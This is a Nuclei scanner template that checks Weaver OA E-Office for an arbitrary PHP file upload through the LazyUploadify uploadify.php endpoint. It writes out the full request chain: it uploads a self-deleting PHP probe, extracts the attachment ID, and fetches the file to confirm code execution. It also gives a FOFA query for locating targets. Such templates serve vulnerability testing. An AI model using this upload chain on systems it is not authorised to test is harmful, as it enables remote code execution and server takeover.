id: weaver-lazyuploadify-file-upload

info:
  name: OA E-Office LazyUploadify - Arbitrary File Upload
  author: SleepingBag945
  severity: critical
  description: OA E-Office LazyUploadify is vulnerable to arbitrary file upload.
  reference:
    - https://github.com/w-digital-scanner/w9scan/blob/master/plugins/weaver_oa/2158.py
  classification:
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    fofa-query: app="泛微-EOffice"
  tags: weaver,e-office,intrusive,rce,file-upload,vuln
variables:
  filename: "{{to_lower(rand_base(5))}}"
  string: "weaver-lazyuploadify-file-upload"

http:
  - raw:
      - |
        GET /general/weibo/javascript/LazyUploadify/uploadify.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /general/weibo/javascript/LazyUploadify/uploadify.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
        Accept: */*
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjetvpuye
        Accept-Encoding: gzip

        ------WebKitFormBoundaryjetvpuye
        Content-Disposition: form-data; name="Filedata"; filename="{{filename}}.php"
        Content-Type: application/octet-stream

        <?php echo md5("{{string}}");unlink(__FILE__);?>
        ------WebKitFormBoundaryjetvpuye--
      - |
        GET /attachment/{{attachmentID}}/{{attachmentName}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: attachmentID
        internal: true
        group: 1
        regex:
          - "attachmentID\":(.*?),"

      - type: regex
        name: attachmentName
        internal: true
        group: 1
        regex:
          - "attachmentName\":\"(.*?)\","

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(body_2, 'attachmentID') && contains(body_2, 'attachmentName')"
        condition: and

      - type: word
        part: body_3
        words:
          - '{{md5(string)}}'
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